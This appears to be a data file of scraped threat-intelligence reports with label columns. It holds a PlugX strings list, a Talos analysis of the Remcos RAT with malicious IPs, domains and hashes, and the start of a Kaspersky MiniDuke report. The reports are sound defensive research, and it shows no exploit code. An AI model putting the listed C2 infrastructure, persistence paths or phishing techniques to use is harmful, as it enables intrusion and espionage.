\xe2\x80\x93 PlugX Extracted strings https//pastebin.com/eSsjmhBG https://pastebin.com/PSxQd6qw https://pastebin.com/CzjM9qwi https://pastebin.com/xHDSxxMD %ProgramData%\\arm2sv1k DSSM DSSM Microsoft Office Document Update Utility Software\\Microsoft\\Windows\\CurrentVersion\\Run JmLI %ProgramFiles(x86)%\\Sophos\\AutoUpdate\\ALUpdate.exe %ProgramFiles(x86)%\\Common Files\\Java\\Java Update\\jusched.exe %ProgramFiles(x86)%\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe %windir%\\system32\\FlashPlayerApp.exe slax pastebin mahTszuBzqwUTcGt %ProgramData%\\arm2sv1k\\Akgcl 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 https//pastebin.com/eSsjmhBG https://pastebin.com/PSxQd6qw https://pastebin.com/CzjM9qwi https://pastebin.com/xHDSxxMD %ProgramData%\\arm2sv1k DSSM DSSM Microsoft Office Document Update Utility Software\\Microsoft\\Windows\\CurrentVersion\\Run JmLI %ProgramFiles(x86)%\\Sophos\\AutoUpdate\\ALUpdate.exe %ProgramFiles(x86)%\\Common Files\\Java\\Java Update\\jusched.exe %ProgramFiles(x86)%\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe %windir%\\system32\\FlashPlayerApp.exe slax pastebin mahTszuBzqwUTcGt %ProgramData%\\arm2sv1k\\Akgcl Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address! Please mark, I'm not a robot! By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement. Popular Resources Resource Center Blog Communities Tech Docs Unit 42 Sitemap Legal Notices Privacy Terms of Use Documents Account Manage Subscriptions \xc2 Report a Vulnerability \xc2\xa9 2019 Palo Alto Networks, Inc. All rights reserved.","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Talos Blog || Cisco Talos Intelligence Group - Comprehensive Threat Intelligence: Picking Apart Remcos Botnet-In-A-Box Software Vulnerability Information Vulnerability Information BACK Vulnerability Reports Microsoft Advisories Reputation Center Reputation Center BACK IP & Domain Reputation Talos File Reputation Reputation Support AMP Threat Naming Conventions IP Blacklist Download AWBO Exercises Categories Library Support Communities Support Communities BACK Snort Community ClamAV Community Reputation Center Support SpamCop Careers Blog About Wednesday, August 22, 2018 Picking Apart Remcos Botnet-In-A-Box This blog post was authored by Edmund Brumaghin and Holger Unterbrink with contributions from Eric Kuhla and Lilia Gonzalez Medina. Overview Cisco Talos has recently observed multiple campaigns using the Remcos remote access tool (RAT) that is offered for sale by a company called Breaking Security. While the company says it will only sell the software for legitimate uses as described in comments in response to the article here and will revoke the licenses for users not following their EULA, the sale of the RAT gives attackers everything they need to establish and run a potentially illegal botnet. Remcos' prices per license range from \xe2\x82\xac58 to \xe2\x82\xac389. Breaking Security also offers customers the ability to pay for the RAT using a variety of digital currencies. This RAT can be used to fully control and monitor any Windows operating system, from Windows XP and all versions thereafter, including server editions. In addition to Remcos, Breaking Security is also offering Octopus Protector, a cryptor designed to allow malicious software to bypass detection by anti-malware products by encrypting the software on the disk. A YouTube video available on the Breaking Security channel demonstrates the tool's ability to facilitate the bypass of several antivirus protections. Additional products offered by this company include a keylogger, which can be used to record and send the keystrokes made on an infected system, a mass mailer that can be used to send large volumes of spam emails, and a DynDNS service that can be leveraged for post-compromise command and control (C2) communications. These tools, when combined with Remcos provide all the tools and infrastructure needed to build and maintain a botnet. Within Cisco's Advanced Malware Protection (AMP) telemetry, we have observed several instances of attempts to install this RAT on various endpoints. As described below, we have also seen multiple malware campaigns distributing Remcos, with many of these campaigns using different methods to avoid detection. To help people who became victims of a harmful use of Remcos, Talos is providing a\xc2 decoder script that can extract the C2 server addresses and other information from the Remcos binary. Please see the Technical Details section below for more information. Technical Details Remcos distribution in the wild Talos has observed several malware campaigns attempting to spread Remcos to various victims. Since Remcos is advertised and sold on numerous hacking-related forums, we believe it is likely that multiple unrelated actors are leveraging this malware in their attacks using a variety of different methods to infect systems. Earlier this year, RiskIQ published a report regarding an attacker who was reportedly targeting defense contractors in Turkey. Since then, this threat actor has continued to operate and has been observed targeting specific types of organizations. Talos has confirmed that in addition to defense contractors, this attacker has also targeted other organizations such as: International news agencies; Diesel equipment manufacturers and service providers operating within the maritime and energy sector; and HVAC service providers operating within the energy sector. In all of the observed campaigns, the attack begins with specially crafted spear phishing emails written in Turkish. The emails appear as if they were sent from a Turkish government agency and purport to be related to tax reporting for the victim's organization. Below is an example of one of these email messages: The attacker put effort into making the emails look as if they were official communications from Gelir \xc4\xb0daresi Ba\xc5\x9fkanl\xc4\xb1\xc4\x9f\xc4\xb1 (GIB), the Turkish Revenue Administration, which operates under the Ministry of Finance and is responsible for handling taxation functions in Turkey. The attacker even went as far to include official GIB graphics and the text at the bottom which translates to: ""Thank you for your participation in the e-mail notification system of [the] Department of Revenue Administration's e-mail service. This message has been sent to you by GIB Mail Notification System. Please do not reply to this message."" As is common with many spear phishing campaigns, malicious Microsoft Office documents are attached to the emails. While the majority of these documents have been Excel spreadsheets, we have also observed the same attacker leveraging Word documents. In many cases, the contents of the document have been intentionally blurred as way to entice victims to enable macros and view the content. Below is an example of a Word document associated with one of these campaigns that have been made to look as if it is a tax bill: Many of the Excel spreadsheets we analyzed were mostly blank, and only included the following image and warning prompting the victim to enable macros in Turkish: We have also observed campaigns that appear to be targeting English-speaking victims. Below is an example of one of the malicious attachments that were made to appear as if it was an invoice on letterhead associated with Iberia, which is the flagship airline in Spain. In addition to the Iberia-themed malicious documents, we uncovered multiple malicious documents that were created to appear as if they were invoices associated with AMC Aviation, a Polish charter airline. Talos has observed the following same itinerary decoy image used across both Excel and Word documents: As described in the RiskIQ report, the macros in these files contain a small executable that is embedded into the document in the form of a series of arrays. When executed, the macros reconstruct the executable, save it to a specific location on the system and execute it. The file location specified changes across malicious documents, but includes directories commonly used by malware authors such as %APPDATA% and %TEMP%. The executable filename also changes across documents. The extracted executable is simple and functions as the downloader for the Remcos malware. It is a very basic program and is used to retrieve Remcos from an attacker-controlled server and execute it, thus infecting the system. An example of this is below: Remcos is a robust RAT that can be used to monitor keystrokes, take remote screen captures, manage files, execute commands on infected systems and more. In several cases, the distribution servers associated with these campaigns have been observed hosting several other malicious binaries in addition to Remcos. Who is behind Remcos? As previously mentioned, a company called Breaking Security has been offering Remcos and other questionable software for purchase on their website. There are no details about the company or the people behind it listed on its website. The website does, however, list a value-added tax (VAT) number (DE308884780) which shows the company is registered in Germany. Interestingly, you can look up the name and address of companies in almost any European Union (EU) country except Germany on this website. Germany does not share this information due to privacy concerns. Because Breaking Security was registered in Germany, we were unable to identify the name and address of the individual behind this company. Nevertheless, we were able to identify several artifacts that give us an idea as to who might be behind the company. Comparison of Public and Private VAT Entries The Breaking Security domain is hosted behind Cloudflare currently, and Whois privacy protects the registrant information. Quite a bit of effort has been put into attempting to mask who is behind this company and the associated software. During our analysis, we were able to uncover several clues about the individual that we believe is behind this organization, either due to mistakes or very well organized false evidence on the internet. The first thing we identified was the following email address and domain present in the Viotto Keylogger screenshot below: \xc2 \xc2 \xc2 logs@viotto[.]it \xc2 \xc2 \xc2 viotto-security[.]net While the viotto-security[.]net domain server and registrant information is protected similar to what was seen with the breaking-security[.]net domain, the domain viotto[.]it listed in the ""Sender's e-mail"" text field is not. The Whois information associated with this domain can be seen in the screenshot below: Normally Talos would obfuscate this data however since it is public in so many places we have elected not to. We also identified additional email, Jabber, and XMPP addresses that appear to be used by the author of Remcos by leveraging the data we collected from the website, as well as other sources: \xc2 \xc2 \xc2 viotto@null[.]pm \xc2 \xc2 \xc2 viotto24@hotmail[.]it \xc2 \xc2 \xc2 viotto@xmpp[.]ru In multiple cases, the domains investigated were leveraging the Cloudflare service. This often obscures the address of servers hosting domains, as the DNS configuration typically points the name resolution to Cloudflare IPs rather than the IP of the web servers themselves. One common mistake is that while the domain itself may be protected by Cloudflare, in many cases, a subdomain exists that does not point to Cloudflare servers, allowing the server IP address to be unmasked. This was the case with the breaking-security[.]net domain. While Cloudflare shields the domain, their mail subdomains are not protected. The A record that was configured for the mail subdomains is as follows: \xc2 \xc2 \xc2 mail[.]breaking-security[.]net. A 146.66.84[.]79 \xc2 \xc2 \xc2 webmail[.]breaking-security[.]net A 146.66.84[.]79 The IP address 146.66.84[.]79 is hosted at SiteGround Amsterdam. After various testing, we are confident that this is also the IP address where the main breaking-security[.]net website is hosted. One of the other domains we identified as being associated with Remcos was viotto-security[.]net. This domain is currently configured to redirect traffic to the main breaking-security[.]net domain. However, this was not always the case. Searching for pages associated with this domain in the Wayback Machine, a website that allows users to view past versions of a web page, yields the following result in the form of a personal biography. There are multiple clear overlaps between the interests of this individual and the developer of the various tools the company sells: We also identified several instances where Viotto was advertising, selling and supporting Remcos on various hacking forums, including HackForums since at least 2016, which makes their intentions questionable. Below is an example of one of these threads. While the company states that they revoke user licenses if they were to use Remcos for illegal activity, as illustrated by the thread below the purported official reseller of Remcos doesn't seem to mind another user informing it that they are using the software to control 200 bots. Viotto also appears to be active on other hacking forums, including OpenSC, where he is a moderator. Below is a thread where this user is advertising Remcos and Octopus Protector. Remcos Technical Details: As described in other blog posts, Remcos appears to be developed in C++. As the release notes show, it is actively maintained. The authors release new versions on almost a monthly basis: v2.0.5 \xe2\x80\x93 July 14, 2018 v2.0.4 \xe2\x80\x93 April 6, 2018 v2.0.3 \xe2\x80\x93 March 29, 2018 v2.0.1 \xe2\x80\x93 Feb. 10, 2018 v2.0.0 \xe2\x80\x93 Feb. 2, 2018 v1.9.9 \xe2\x80\x93 Dec. 17, 2017 Remcos has the functionalities that are typical of a RAT. It is capable of hiding in the system and using malware techniques that make it difficult for the typical user to detect the existence of Remcos. Several routines are looking like they were just copied and (best case) slightly modified from publicly available sources. A good example is the anti-analysis section: It is checking for an outdated artifact, the 'SbieDll.dll'. In our opinion, there are not many analysts using Sandboxie these days anymore. A closer look at the other functions is also showing a high code similarity to publicly available projects. Below you can see the Remcos VMware detection code: The following is a code sample from aldeid.com: The blog referenced above has already described several functions of Remcos features in detail. We would like to focus on Remcos' cryptographic implementation. It uses RC4 pretty much everywhere when there is a need to decode or encode any data. Examples are registry entries, C2 server network communication or file paths shown below: The exepath registry data is base64-encoded, RC4-encrypted data. Decoded, it is the path of the executable: C:\\TEMP\\1cc8f8b1487893b2b0ff118faa2333e1826ae1495b626e206ef108460d4f0fe7.exe The RC4 implementation is the standard RC4 implementation that can be found in many code examples on the internet. They are first building the Key Scheduling Algorithms (KSA) S_array at 00402F01. This can be converted into the typical RC4 pseudo code: for i from 0 to 255 S[i] := i endfor j := 0 for i from 0 to 255 j := (j + S[i] + key[i mod keylength]) mod 256 swap values of S[i] and S[j] endfor Which is followed by the RC4 Pseudo-random generation algorithm (PRGA) at 00402F5B. Which looks in pseudo code like this: i := 0 j := 0 while GeneratingOutput: i := (i + 1) mod 256 j := (j + S[i]) mod 256 swap values of S[i] and S[j] K := S[(S[i] + S[j]) mod 256] output K endwhile As the screenshots above illustrate, Remcos is using RC4 to encrypt and decrypt its data, and it is using the PE resource section to store the initial encryption key in the 'SETTINGS' resource. This key can have a variable length \xe2\x80\x94 we have seen short keys from 40 bytes to keys with more than 250 bytes. They are storing the data in the following format: [Length of key] [Encryption Key] [Encrypted configuration data] This encrypted configuration data section contains the command and control servers, RAT commands to execute and other data. Decoded, it looks like this: The decoded data contains the C2 server, e.g. ejiroprecious[.]ddns[.]net, and the corresponding port number, followed by a password. This password is used to generate a separate S_array for the RC4 encrypted C2 communication. The picture shows the relevant part of the RC4 Key Scheduling Algorithms (KSA) from above. Even if a stronger password is used than in the example above, using such a weak encryption algorithm means that everyone who gets his or her hands on the binary file can extract the password and decrypt the C2 traffic or inject their own commands into the C2 channel to control the RAT. The good news is that companies who became a victim of Remcos have a good chance to analyse the threat if they have stored the network traffic and the Remcos binary file. To make the life of forensic investigators easier, we are providing a small decoder Python script that can decode the config data from the resource section: As mentioned above, Remcos is using the same encryption routine for all kinds of other functions, too. For this reason, the decoder program also offers an option to hand over encrypted bytes manually. This can be used to decode, for example, the exepath registry key. We have used this tool to extract all the IOCs below. It is tested with the latest 2.0.4 and 2.0.5 versions of Remcos, but likely also works with other versions. The user can also copy bytes from a network sniffer to a binary file, and hand it over to decrypt the bytes from the C2 communication to see which commands the C2 server has sent to the victim. Keep in mind to use the extracted password, e.g. ""pass."" Conclusion While the organization that sells Remcos claims that the application is only for legal use, our research indicates it is still being used extensively by malicious attackers, as well. In some cases, attackers are strategically targeting victims to attempt to gain access to organizations that operate as part of the supply chain for various critical infrastructure sectors. Organizations should ensure that they are implementing security controls to combat Remcos, as well as other threats that are being used in the wild. Remcos is a robust tool that is being actively developed to include new functionality increasing what the attackers can gain access to. To combat this, organizations should continue to be aware of this threat, as well as others like this that may be circulated on the internet. Coverage \xc2 Additional ways our customers can detect and block this threat are listed below. Advanced Malware Protection (AMP) is ideally suited to prevent the execution of the malware used by these threat actors. Cisco Cloud Web Security (CWS) or Web Security Appliance (WSA) web scanning prevents access to malicious websites and detects malware used in these attacks. Email Security\xc2 can block malicious emails sent by threat actors as part of their campaign. Network Security appliances such as Next-Generation Firewall (NGFW), Next-Generation Intrusion Prevention System (NGIPS), and Meraki MX\xc2 can detect malicious activity associated with this threat. AMP Threat Grid\xc2 helps identify malicious binaries and build protection into all Cisco Security products. Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs, and URLs, whether users are on or off the corporate network. Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on\xc2 Snort.org. Indicators of Compromise (IOC) The following IOCs are associated with various malware distribution campaigns that were observed during analysis of Remcos activity. Malicious Office Documents: 0409e5a5a78bfe510576b516069d4119b45a717728edb1cd346f65cfb53b2de2 0ebfbcbf8c35ff8cbf36e38799b5129c7b70c6895d5f11d1ab562a511a2ec76e 18f461b274aa21fc27491173968ebe87517795f24732ce977ccea5f627b116f9 2f81f5483bbdd78d3f6c23ea164830ae263993f349842dd1d1e6e6d055822720 3772fcfbb09ec55b4e701a5e5b4c5c9182656949e6bd96bbd758947dfdfeba62 43282cb81e28bd2b7d4086f9ba4a3c538c3d875871bdcf881e58c6b0da017824 48dec6683bd806a79493c7d9fc3a1b720d24ad8c6db4141bbec77e2aebad1396 4938f6b52e34768e2834dfacbc6f1d577f7ab0136b01c6160dd120364a1f9e1a 4e0bcef2b9251e2aaecbf6501c8df706bf449b0e12434873833c6091deb94f0e 72578440a76e491e7f6c53e39b02bd041383ecf293c90538dda82e5d1417cad1 77cf87134a04f759be3543708f0664b80a05bb8315acb19d39aaa519d1da8e92 8abcb3084bb72c1cb49aebaf0a0c221a40538a062a1b8830c1b48d913211a403 94ff6d708820dda59738401ea10eb1b0d7d98d104a998ba6cee70e728eb5f29f 9cccdb290dbbedfe54beb36d6359e711aee1b20f6b2b1563b32fb459a92d4b95 aa7a3655dc5d9e0d69137cb8ba7cc18137eff290fde8c060ac678aa938f16ec7 ad78b68616b803243d56593e0fdd6adeb07bfc43d0715710a2c14417bba90033 bb3e5959a76a82db52840c4c03ae2d1e766b834553cfb53ff6123331f0be5d12 c5b9c3a3bbfa89c83e1fb3955492044fd8bf61f7061ce1a0722a393e974cec7c d3612813abf81d0911d0d9147a5fe09629af515bdb361bd42bc5a79d845f928f e302fb178314aa574b89da065204bc6007d16c29f1dfcddcb3b1c90026cdd130 e7c3c8195ff950b0d3f7e9c23c25bb757668b9c131b141528183541fc125d613 ef5e1af8b3e0f7f6658a513a6008cbfb83710f54d8327423db4bb65fa03d3813 f2c4e058a29c213c7283be382a2e0ad97d649d02275f3c53b67a99b262e48dd2 Stage 1 Executables: 07380d9df664ef6f998ff887129ad2ac7b11d0aba15f0d72b6e150a776c6a1ef 1e5d5226acaeac5cbcadba1faab4567b4e46b2e6724b61f8c705d99af80ca410 224009a766eef638333fa49bb85e2bb9f5428d2e61e83425204547440bb6f58d 27dd5a3466e4bade2238aa7f6d5cb7015110ceb10ba00c1769e4bc44fe80bcb8 502c4c424c8f435254953c1d32a1f7ae1e67fb88ebd7a31594afc7278dcafde3 5a9fa1448bc90a7d8f5e6ae49284cd99120c2cad714e47c65192d339dad2fc59 91032c5ddbb0447e1c772ccbe22c7966174ee014df8ada5f01085136426a0d20 9114a31330bb389fa242512ae4fd1ba0c9956f9bf9f33606d9d3561cc1b54722 9fe46627164c0858ab72a7553cba32d2240f323d54961f77b5f4f59fe18be8fa c2307a9f18335967b3771028100021bbcf26cc66a0e47cd46b21aba4218b6f90 c51677bed0c3cfd27df7ee801da88241b659b2fa59e1c246be6db277ce8844d6 da352ba8731afee3fdbca199ce8c8916a31283c07b2f4ebaec504bda2966892b PE32 Executables: A text file containing a list of Remcos PE32 executable hashes can be found here. IP Addresses: 109.232.227[.]138 54.36.251[.]117 86.127.159[.]17 195.154.242[.]51 51.15.229[.]127 212.47.250[.]222 191.101.22[.]136 185.209.20[.]221 92.38.86[.]175 139.60.162[.]153 192.0.2[.]2 185.209.85[.]185 82.221.105[.]125 185.125.205[.]74 77.48.28[.]223 79.172.242[.]28 79.172.242[.]28 192.185.119[.]103 181.52.113[.]172 213.152.161[.]165 Domains: dboynyz[.]pdns[.]cz streetz[.]club mdformo[.]ddns[.]net mdformo1[.]ddns[.]net vitlop[.]ddns[.]net ns1[.]madeinserverwick[.]club uploadtops[.]is prince[.]jumpingcrab[.]com timmason2[.]com lenovoscanner[.]duckdns[.]org lenovoscannertwo[.]duckdns[.]org lenovoscannerone[.]duckdns[.]org google[.]airdns[.]org civita2[.]no-ip[.]biz www[.]pimmas[.]com[.]tr www[.]mervinsaat[.]com.tr samurmakina[.]com[.]tr www[.]paulocamarao[.]com midatacreditoexperian[.]com[.]co www[.]lebontour[.]com businesslisting[.]igg[.]biz unifscon[.]com Posted by Edmund Brumaghin at 12:00 PM Labels: Malware, RAT, remcos, remote access tool Share This Post No comments: Post a Comment Newer Post Older Post Home Subscribe to: Post Comments (Atom) Subscribe To Our Feed Posts Comments Subscribe via Email Blog Archive \xe2\x96\xba\xc2 2019 (191) \xe2\x96\xba\xc2 September (18) \xe2\x96\xba\xc2 August (21) \xe2\x96\xba\xc2 July (23) \xe2\x96\xba\xc2 June (16) \xe2\x96\xba\xc2 May (25) \xe2\x96\xba\xc2 April (25) \xe2\x96\xba\xc2 March (24) \xe2\x96\xba\xc2 February (19) \xe2\x96\xba\xc2 January (20) \xe2\x96\xbc\xc2 2018 (198) \xe2\x96\xba\xc2 December (16) \xe2\x96\xba\xc2 November (15) \xe2\x96\xba\xc2 October (26) \xe2\x96\xba\xc2 September (16) \xe2\x96\xbc\xc2 August (12) Threat Roundup for August 24-31 Beers with Talos EP 36: There Are Few Shades in th... Rocke: The Champion of Monero Miners Threat Roundup for August 17-24 Picking Apart Remcos Botnet-In-A-Box Threat Roundup for August 10-17 Beers with Talos EP 35: Live from the RiRa at Blac... Microsoft Tuesday August 2018 Threat Roundup for August 3-10 Playback: A TLS 1.3 Story The Official Talos Guide to Security Summer Camp 2... Exploitable or Not Exploitable? Using REVEN to Ex... \xe2\x96\xba\xc2 July (20) \xe2\x96\xba\xc2 June (15) \xe2\x96\xba\xc2 May (15) \xe2\x96\xba\xc2 April (21) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (14) \xe2\x96\xba\xc2 January (18) \xe2\x96\xba\xc2 2017 (171) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (11) \xe2\x96\xba\xc2 October (15) \xe2\x96\xba\xc2 September (17) \xe2\x96\xba\xc2 August (16) \xe2\x96\xba\xc2 July (14) \xe2\x96\xba\xc2 June (14) \xe2\x96\xba\xc2 May (19) \xe2\x96\xba\xc2 April (17) \xe2\x96\xba\xc2 March (17) \xe2\x96\xba\xc2 February (12) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2016 (98) \xe2\x96\xba\xc2 December (9) \xe2\x96\xba\xc2 November (8) \xe2\x96\xba\xc2 October (11) \xe2\x96\xba\xc2 September (8) \xe2\x96\xba\xc2 August (8) \xe2\x96\xba\xc2 July (9) \xe2\x96\xba\xc2 June (10) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (7) \xe2\x96\xba\xc2 February (6) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2015 (62) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (3) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (5) \xe2\x96\xba\xc2 July (4) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (3) \xe2\x96\xba\xc2 April (7) \xe2\x96\xba\xc2 March (8) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (4) \xe2\x96\xba\xc2 2014 (67) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (5) \xe2\x96\xba\xc2 October (6) \xe2\x96\xba\xc2 September (10) \xe2\x96\xba\xc2 August (4) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (6) \xe2\x96\xba\xc2 May (4) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (4) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (8) \xe2\x96\xba\xc2 2013 (30) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (5) \xe2\x96\xba\xc2 September (2) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (1) \xe2\x96\xba\xc2 February (3) \xe2\x96\xba\xc2 January (5) \xe2\x96\xba\xc2 2012 (53) \xe2\x96\xba\xc2 December (3) \xe2\x96\xba\xc2 November (1) \xe2\x96\xba\xc2 October (2) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (7) \xe2\x96\xba\xc2 July (7) \xe2\x96\xba\xc2 June (4) \xe2\x96\xba\xc2 May (6) \xe2\x96\xba\xc2 April (5) \xe2\x96\xba\xc2 March (3) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2011 (23) \xe2\x96\xba\xc2 December (1) \xe2\x96\xba\xc2 November (4) \xe2\x96\xba\xc2 October (3) \xe2\x96\xba\xc2 September (1) \xe2\x96\xba\xc2 August (2) \xe2\x96\xba\xc2 July (3) \xe2\x96\xba\xc2 June (1) \xe2\x96\xba\xc2 May (2) \xe2\x96\xba\xc2 April (1) \xe2\x96\xba\xc2 March (2) \xe2\x96\xba\xc2 February (1) \xe2\x96\xba\xc2 January (2) \xe2\x96\xba\xc2 2010 (93) \xe2\x96\xba\xc2 December (4) \xe2\x96\xba\xc2 November (2) \xe2\x96\xba\xc2 October (4) \xe2\x96\xba\xc2 September (7) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (11) \xe2\x96\xba\xc2 June (12) \xe2\x96\xba\xc2 May (5) \xe2\x96\xba\xc2 April (12) \xe2\x96\xba\xc2 March (10) \xe2\x96\xba\xc2 February (7) \xe2\x96\xba\xc2 January (10) \xe2\x96\xba\xc2 2009 (146) \xe2\x96\xba\xc2 December (14) \xe2\x96\xba\xc2 November (10) \xe2\x96\xba\xc2 October (12) \xe2\x96\xba\xc2 September (13) \xe2\x96\xba\xc2 August (9) \xe2\x96\xba\xc2 July (19) \xe2\x96\xba\xc2 June (11) \xe2\x96\xba\xc2 May (13) \xe2\x96\xba\xc2 April (10) \xe2\x96\xba\xc2 March (11) \xe2\x96\xba\xc2 February (13) \xe2\x96\xba\xc2 January (11) \xe2\x96\xba\xc2 2008 (37) \xe2\x96\xba\xc2 December (12) \xe2\x96\xba\xc2 November (6) \xe2\x96\xba\xc2 October (7) \xe2\x96\xba\xc2 September (6) \xe2\x96\xba\xc2 August (3) \xe2\x96\xba\xc2 May (3) Recommended Blogs Cisco Blog Emotet is back after a summer break Snort Blog Snort OpenAppID Detectors have been updated ClamAV\xc2\xae blog ClamAV 0.102.0 Release Candidate is now available Software Reputation Center Vulnerability Information Microsoft Advisory Snort Rules IP Blacklist Download AMP Naming Conventions Talos File Reputation AWBO Exercises Library Support Communities About Careers Blog ThreatSource Newsletter Beers with Talos Podcast Connect With Us \xc2\xa9 Cisco Systems, Inc. and/or its affiliates. All rights reserved. View our Privacy Policy here.","1","0","0","0","0","0","1","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Kaspersky Word template PAGE 1| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor (or \xe2\x80\x98how many cool words can you fit into one title\xe2\x80\x99) Authors: Costin Raiu, Igor Soumenkov, Kurt Baumgartner, Vitaly Kamluk Global Research and Analysis Team, Kaspersky Lab On Feb 12th 2013, FireEye announced the discovery (http://blog.fireeye.com/research/2013/02/the-number-of-the- beast.html) of an Adobe Reader 0-day exploit which is used to drop a previously unknown, advanced piece of malware. We called this new malware \xe2\x80\x9cItaDuke\xe2\x80\x9d because it reminded us of Duqu and because of the ancient Italian comments in the shellcode copied from Dante Aligheri\xe2\x80\x99s Divine Comedy. Since the original announcement, we have observed several new incidents using the same exploit (CVE-2013-0640), some of which were so unusual that we decided to analyze them in depth. Together with our partner CrySyS Lab, we\xe2\x80\x99ve performed a detailed analysis of these new incidents which indicate a new, previously unknown threat actor. For their analysis, please read http://blog.crysys.hu/2013/02/miniduke/ . For our analysis, please read below. First of all, while the fake \xe2\x80\x9cMandiant\xe2\x80\x9d PDF reports (see http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt- report.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SeculertResearchLab+(Seculert+Researc h+Lab)) are just dirty hacks of the original exploit, these newer attacks appear to have been created by a 0-day toolkit that was used to build the original \xe2\x80\x9cVisaform Tukey.pdf\xe2\x80\x9d discovered by FireEye. http://blog.fireeye.com/research/2013/02/the-number-of-the-beast.html http://blog.fireeye.com/research/2013/02/the-number-of-the-beast.html http://blog.crysys.hu/2013/02/miniduke/ http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt-report.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SeculertResearchLab+(Seculert+Research+Lab) http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt-report.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SeculertResearchLab+(Seculert+Research+Lab) http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt-report.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+SeculertResearchLab+(Seculert+Research+Lab) PAGE 2| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | The new PDF attacks drop fake documents that are shown to the victim if the exploit is successfully executed. The documents refer to a human rights seminar (ASEM) and Ukraine\xe2\x80\x99s foreign policy and NATO membership plans: Document used against the Hungarian target PAGE 3| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | Document used against the Belgian target PAGE 4| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | Document used against the Luxemburg target The MD5s for the documents used in this attack are: 3668b018b4bb080d1875aee346e3650a action_plan.pdf (Country: Belgium) 88292d7181514fda5390292d73da28d4 ASEM_seminar.pdf (Country: Hungary) 3f301758aa3d5d123a9ddbad1890853b EUAG_report.pdf (Country: Luxembourg) 0cdf55626e56ffbf1b198beb4f6ed559 report.pdf (Country: Spain) cf5a5239ada9b43592757c0d7bf66169 EUAG_report.pdf (Country: Belgium) c03bcb0cde62b3f45b4d772ab635e2b0 The 2013 Armenian Economic Association.pdf (Country: Belgium) The JavaScript exploit code has been modified since the original attack. For instance, the function named \xe2\x80\x9coTHERWISE\xe2\x80\x9d was renamed to \xe2\x80\x9cq1w2e3r4t\xe2\x80\x9d. The function is later 